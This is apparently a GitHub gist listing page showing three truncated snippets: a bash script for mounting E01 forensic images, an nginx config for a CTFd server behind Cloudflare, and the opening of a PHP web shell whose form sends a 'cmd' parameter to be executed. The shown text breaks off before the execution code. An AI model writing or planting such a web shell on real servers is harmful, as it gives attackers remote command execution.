Skip to content

Instantly share code, notes, and snippets.

View bman46's full-sized avatar

Brendan McShane bman46

View GitHub Profile
@bman46
bman46 / ewfscript.sh
Last active September 11, 2024 19:05
EFW Mounter
#!/bin/bash
[ "$UID" -eq 0 ] || exec sudo bash "$0" "$@"
echo "efw file mounter"
read -e -p "Enter E01 file: " srcfile
read -p "Enter dest name (just a name, not a path): " dstfolder
UUIDMNT=/tmp/efw_$(uuidgen)
mkdir -p $UUIDMNT
@mishrasunny174
mishrasunny174 / nginx.conf
Created December 15, 2020 02:23
Example nginx config to be used with cloudflare and ctfd. This config will log real ips on ctfd and also rate limit the connections based on real IP to 10r/s.
worker_processes 8;
events {
worker_connections 2048;
}
http {
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{